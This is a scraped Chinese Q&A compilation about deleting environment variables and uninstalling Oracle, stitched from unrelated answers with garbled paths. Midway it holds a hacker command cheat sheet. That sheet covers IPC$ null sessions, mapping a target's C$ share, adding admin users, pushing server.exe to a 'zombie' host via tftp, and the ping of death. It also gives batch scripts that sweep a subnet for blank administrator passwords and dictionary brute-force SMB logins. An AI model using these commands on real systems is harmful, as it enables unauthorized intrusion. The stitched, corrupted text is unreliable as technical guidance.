win10系统环境变量全被删除了怎么办，高级系统设置已经打不开了？

删除环境变量 unset unset my_variable 在涉及环境变量名时，什么时候该使用 ，实在让人摸不着头脑。 记住一点就行了：如果要用到变量，使用 。这条规则的一个例外就是使用printenv显示某个变量的值。 在处理全局环境变量时，事情就有点棘手了。如果你是在子进程中删除了一个全局环境变量，这只对子进程有效。该全局环境变量在父进程中依然可用。

一是Library中的python(即环境变量) ,二是Application中的python ,三是清除指向python的链接。故步骤分为如下三步: ## ...2.检查python是否已删除干净 使用where命令进行检查 whereispython 1 若只显示python2.7...3.mac的环境变量在何处 用户设置的mac的环境变量在如下目录 vim~/.bash

1、在我的电脑图标中右键属性调出系统属性窗口2、在系统属性窗口中找到高级选择卡3、在高级选项卡中找到环境变量按扭并单击打开4、在弹出的环境变量窗口中，在系统变量(S)下的框框中找到并单击选择Path变量名，然后点编辑(N)按扭5、选择变量名为Path的编辑之后，会弹出编辑窗口6、将变量值复制出来然后修改为：%SystemRoot%system32;%SystemRoot%;%SystemRoot%System32Wbem在粘贴会变量值文本框中7、点击确定按钮，关闭属性窗口即可

win7系统怎么删除环境变量右击“我的电脑”，选择“属性”　　在打开的页面“控制面板主页”下找到并打开“高级系统配置”。点击“高级系统配置”，打开“系统属性”窗口。　　在“系统属性”页面点击“环境变量”　　建议修改系统变量而不是某个 用户独有的环境变量。　　在系统变量显示框中找到变量“Path"，选中并点击"编辑"进行修改。　　在弹出的编辑系统变量页面，修改变量值。将要执行命令所在的目录绝对路径加到原来的路径之后，路径与路径通过”；“分号分隔　　编辑完变量值之后点击"确定"按钮，完成环境变量的修改　　注意事项　　环境变量修改后，可能没有立即生效。这时候命令行窗口重启下即可。

在Python中更改环境变量可以使用`os.environ`模块。可以使用以下代码将环境变量设置为指定值：```pythonimport osos.environ["MY_ENV_VAR"] = "my_value"```此代码将名为`MY_ENV_VAR`的环境变量设置为`my_value`。如果环境变量不存在，则会创建该变量。如果要删除环境变量，可以使用以下代码：```pythonimport osif "MY_ENV_VAR" in os.environ: del os.environ["MY_ENV_VAR"]```此代码将检查是否存在名为`MY_ENV_VAR`的环境变量，如果存在，则将其删除。请注意，这只会在当前进程中删除环境变量，而不会影响其他进程或持久存储。

CMD中运行 set path==%path%;d:/mypath 用 set path可以查看，当前的环境变量 方法二 ：批处理中，修改环境变量，永久有效 ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" 另外介绍些关于wminc的用法（简单又实用） ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete 一般来说,wmic创建或修改的系统变量不用重启windows生效,但如果你发现在DOS窗下检测不生效的话,你试着关闭 DOS窗,再检测一次.就生效了. 如果你的批处理想不关闭而直接让新的变量给下级程序应用可以这样写 view plaincopy to clipboardprint? ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe

set 变量名=等号后不加任何东西这样就可以删了

请给出实例使用unset命令,例如要清除path变量,可以如下:unsetpath。如果你还有什么不懂的就去看看《linux就该这么学》这本书

Linux设置/删除环境变量方法：bash下设置：export 变量名=变量值删除：unset 变量名csh下设置：setenv 变量名 变量值删除：unsetenv 变量名

set test=这样输入就可以了

oracle10g 卸载 　　软件环境：　　1、Windows XP + Oracle 10g　　2、Oracle安装路径为：d:Oracle　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；　　2、开始－＞程序－＞Oracle – OraDb10g_home1＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品，但Universal Installer本身不能被删除；　　3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；　　4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；　　5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；　　6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；　　7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；　　8、删除c:Program FilesOracle目录；　　9、重新启动计算机，重起后才能完全删除Oracle所在目录 ；　　10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从Windows XP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、 oraodbc.ini等等；　　11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；　　12、如有必要，删除所有Oracle相关的ODBC的DSN；　　13、到事件查看器中，删除Oracle相关的日志 说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

删除这一部分即可D:appAdministratorproduct11.2.0dbhome_1in;

1.关闭oracle所有的服务。可以在windows的服务管理器中关闭；x0dx0ax0dx0a 2.打开注册表：regedit 打开路径：x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices x0dx0a 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！x0dx0a x0dx0a 3.打开注册表，找到路径：x0dx0a HKEY_LOCAL_MACHINESOFTWAREORACLEx0dx0a 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。x0dx0a x0dx0a 4.删除注册的oracle事件日志，打开注册表x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplicationx0dx0a 删除注册表的以oracle开头的所有项目。x0dx0a x0dx0a 5.删除环境变量path中关于oracle的内容。x0dx0a 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。x0dx0a 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。x0dx0a 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。x0dx0a x0dx0a 6.重新启动操作系统。x0dx0a 以上1~5个步骤操作完毕后，重新启动操作系统。x0dx0a x0dx0a 7.重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）x0dx0a x0dx0a 8.删除C:Program Files下oracle目录。x0dx0a （该目录视Oracle安装所在路径而定）x0dx0a x0dx0a 9.删除开始菜单下oracle项，如：x0dx0a C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10gx0dx0a 不同的安装这个目录稍有不同。x0dx0a 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。x0dx0a x0dx0a 至此，Windows平台下Oracle就彻底卸载了。

直接删除，就可以了。

我的操作是这样的，仅供参考。比如环境变量 serverip，我输入错误为setverip解答：setenv setverip=none 即可删除。或者你uboot下输入命令：help 查看是否有删除环境变量的指令。

你好！如果是打开命令符设置的，这个是临时的，你只要关闭命令符窗口你所设置的变量会自动删除如果对你有帮助，望采纳。

set 变量名=等号后不加任何东西这样就可以删了

按变量的生存周期来划分，Linux变量可分为两类，它们的修改方法如下：（1）永久的：需要修改配置文件，变量永久生效。常见的配置文件包括：（1-1）/etc/profile：对所有用户生效；此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行；并从/etc/profile.d目录的配置文件中搜集shell的设置例如：编辑/etc/profile文件，添加CLASSPATH变量# vi /etc/profile添加一行：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-2）/etc/bashrc：对所有用户生效；为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取编辑方法如上，不再赘述（1-3）~/.bash_profile：仅会对当前用户有效；每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次例如：编辑guok用户目录(/home/guok)下的.bash_profile$ vi /home/guok/.bash.profile添加如下内容：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-4）~/.bashrc：仅会对当前用户有效；该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取编辑方法如上，不再赘述另外，~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是"父子"关系综述，对上述文件修改，添加你需要的变量，在启动一个shell（终端，terminal）时，你所定义的变量均会生效的。（2）临时的：使用export命令声明即可，变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,在关闭shell后失效，再打开新shell时就没有这个变量，需要使用的话还需要重新定义在shell的命令行下直接使用[export 变量名=变量值] 定义变量环境变量的查看（1）使用echo命令查看单个环境变量。例如：echo $PATH（2）使用env查看所有环境变量。例如：env（3）使用set查看所有本地定义的环境变量。例如：set另外，unset可以删除指定的环境变量。常用的环境变量PATH 决定了shell将到哪些目录中寻找命令或程序HOME 当前用户主目录HISTSIZE　历史记录数LOGNAME 当前用户的登录名HOSTNAME　指主机的名称SHELL 当前用户Shell类型LANGUGE 　语言相关的环境变量，多语言可以修改此环境变量MAIL　当前用户的邮件存放目录PS1　基本提示符，对于root用户是#，对于普通用户是$

如何删除oracle的环境变量删除这一部分即可 D:appAdministratorproduct11.2.0dbhome_1in;

在“运行”中输入CMD，调出DOSnet use $">\ipipc$ " " /user:" " 建立IPC空链接net use $">\ipipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: $">\ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: $">\ipc$ 登陆后映射对方C：到本地为H:net use $">\ipipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名 密码 /add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名 查看帐户的属性net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名 开启服务；(如:net start telnet， net start schedule)net stop 服务名 停止某服务net time \目标ip 查看对方时间net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名 暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码 更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令at id号 开启已注册的某个计划任务at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止at id号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username @host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为23open ip 连接到IP（属telnet登陆后的命令）telnet 在本机上直接键入telnet 将进入本机的telnetcopy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c:srv.exe $">\ipadmin$ 复制本地c:srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copy $svv.exe">\ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interfacearp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令mem 查看cpu使用情况attrib 文件名(目录名) 查看某文件（目录）的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置echo 信息 在屏幕上显示出信息echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hellofind 文件名 查找某文件title 标题名字 更改CMD窗口标题名字color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )print 文件名 打印文本文件ver 在DOS窗口下显示版本信息winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFSmd 目录名 创建目录replace 源文件 要替换文件的目录 替换文件ren 原文件名 新文件名 重命名文件名tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况IIS服务命令：iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务iisreset /restart 停止然后重新启动所有Internet服务iisreset /status 显示所有Internet服务状态iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令： (后面有详细说明内容)ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files] 从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote－dir 进入远程主机目录cdup 进入远程主机目录的父目录! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zipMYSQL 命令：mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。（例：mysql -h110.110.110.110 -Uroot -P123456注:u与root可以不用加空格，其它也一样）exit 退出MYSQLmysqladmin -u用户名 -p旧密码 password 新密码 修改密码grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。use mysql；show tables; 显示库中的数据表describe 表名; 显示数据表的结构create database 库名; 建库use 库名；create table 表名 (字段设定列表)； 建表drop database 库名;drop table 表名； 删库和删表delete from 表名; 将表中记录清空select * from 表名; 显示表中的记录mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\mysql\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。win2003系统下新增命令（实用部份）：shutdown /参数 关闭或重启本地或远程主机。参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。例：shutdown /r /t 0 立即重启本地主机（无延时）taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。Linux系统下基本命令： 要区分大小写uname 显示版本信息（同win2K的 ver）dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）pwd 查询当前所在的目录位置cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。cat 文件名 查看文件内容cat >abc.txt 往abc.txt文件中写上内容。more 文件名 以一页一页的方式显示一个文本文件。cp 复制文件mv 移动文件rm 文件名 删除文件，rm -a 目录名删除目录及子目录mkdir 目录名 建立目录rmdir 删除子目录，目录内没有文档。chmod 设定档案或目录的存取权限grep 在档案中查找字符串diff 档案文件比较find 档案搜寻date 现在的日期、时间who 查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料whoami 查看自己的帐号名称groups 查看某人的Grouppasswd 更改密码history 查看自己下过的命令ps 显示进程状态kill 停止某进程gcc 黑客通常用它来编译C语言写的文件su 权限转换为指定使用者telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。ftp ftp连接上某服务器（同win2K）附：批处理命令与变量1：for命令及变量 基本格式：FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—% 9指输入的第2-9个值；例：net use $">\ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开command_parameters：为特定命令指定参数或命令行开关IN (set)：指在(set)中取值；DO command ：指执行command参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时}。用法举例：@echo offecho 用法格式：test.bat *.*.* > test.txtfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。@echo offecho 用法格式：ok.bat ipFOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

重新下载一个oracle

DOS命令大全一）MD——建立子目录 1．功能：创建新的子目录 2．类型：内部命令 3．格式：MD[盘符：][路径名]〈子目录名〉 4．使用说明： （1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器； （2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。 例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。 C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX） C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录） （二）CD——改变当前目录 1．功能：显示当前目录 2．类型：内部命令 3．格式：CD[盘符：][路径名][子目录名] 4．使用说明： （1）如果省略路径和子目录名则显示当前目录； （2）如采用“CD、”格式，则退回到根目录； （3）如采用“CD.。”格式则退回到上一级目录。 例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。 C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录） C:、FOX、USER＞CD.。 （退回上一级根目录） C：、FOX＞CD、 （返回到根目录） C：、＞ （三）RD——删除子目录命令 1．功能：从指定的磁盘删除了目录。 2．类型：内部命令 3．格式：RD[盘符：][路径名][子目录名] 4．使用说明： （1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身； （2）不能删除根目录和当前目录。 例：要求把C盘FOX子目录下的USER子目录删除，操作如下： 第一步：先将USER子目录下的文件删空； C、＞DEL C：、FOX、USER、*。* 第二步，删除USER子目录。 C、＞RD C：、FOX、USER （四）DIR——显示磁盘目录命令 1．功能：显示磁盘目录的内容。 2．类型：内部命令 3．格式：DIR [盘符][路径][/P][/W] 4．使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Pressany key to continue /W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。 PATH——路径设置命令 1．功能：设备可执行文件的搜索路径，只对文件有效。 2．类型：内部命令 3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…} 4．使用说明： （1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件； （2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开； （3）PATH命令有三种使用方法： PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径） PATH：（显示目前所设的路径） （六）TREE——显示磁盘目录结构命令 1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2．类型：外部命令 3．格式：TREE[盘符：][/F][》PRN] 4．使用说明： （1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件； （2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。 （七）DELTREE——删除整个目录命令 1．功能：将整个目录及其下属子目录和文件删除。 2．类型：外部命令 3．格式：DELTREE[盘符：]〈路径名〉 4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！ 五、磁盘操作类命令 （一）formAT——磁盘格式化命令 1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。 2．类型：外部命令 3．格式：formAT〈盘符：〉[/S][/4][/Q] 4．使用说明： （1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON——REMOVABLE DISK DRIVE C:WILL BE LOST ！ Proceed with format (Y/N)？ （警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？） （2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A; and press ENTER when ready… （在A驱中插入新盘，准备好后按回车键）。 